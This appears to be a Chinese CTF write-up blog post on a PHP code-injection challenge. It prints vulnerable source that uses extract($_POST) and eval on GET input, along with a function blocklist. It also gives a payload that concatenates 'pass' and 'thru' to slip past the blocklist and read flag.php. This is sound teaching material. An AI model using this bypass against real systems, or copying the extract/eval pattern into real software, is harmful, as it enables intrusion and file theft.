狼组CTF WEB题 代码审计之代码注入

本文深入解析了一段PHP代码,揭示了其中的变量覆盖漏洞和禁用函数绕过的安全问题。通过分析代码结构和执行流程,展示了如何利用特定payload绕过安全限制,最终获取flag。同时,强调了在实际应用中防范此类安全风险的重要性。

献上源码

<?php
show_source(__FILE__);
error_reporting(0);
$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
    echo '<img src="./Ding.gif">'."</br>";
    die('Ding Ding Ding ~');
}

$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);
foreach($peiqi as $i){
    if(stristr($_GET[peiqi], $i)!==false){
        echo '<img src="./heihei.jpg">'."</br>";
        die('修完bug就可以睡觉了,嘿嘿嘿~');
    }
}
eval($_GET[peiqi]);
//flag 在 ./flag.php里
?>

禁用函数

$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);

变量覆盖漏洞过第一个卡,POST提交 you=i am pig,敲钉子图片消失

$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
    echo '<img src="./Ding.gif">'."</br>";
    die('Ding Ding Ding ~');
}

后面的代码是判断GET提交的参数,是不是包含禁用的函数,因为最后GET提交的参数会交给eval函数执行,此处可以考虑使用拼接php代码来绕过。
获取flag命令 cat ./flag,因为禁用了y,不是使用system函数,使用passthru拼接绕过
payload:

peiqi=$a=pass;$b=thru;$c=$a.$b;$d='cat ./flag.php';$c($d);

flag在源码里_

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值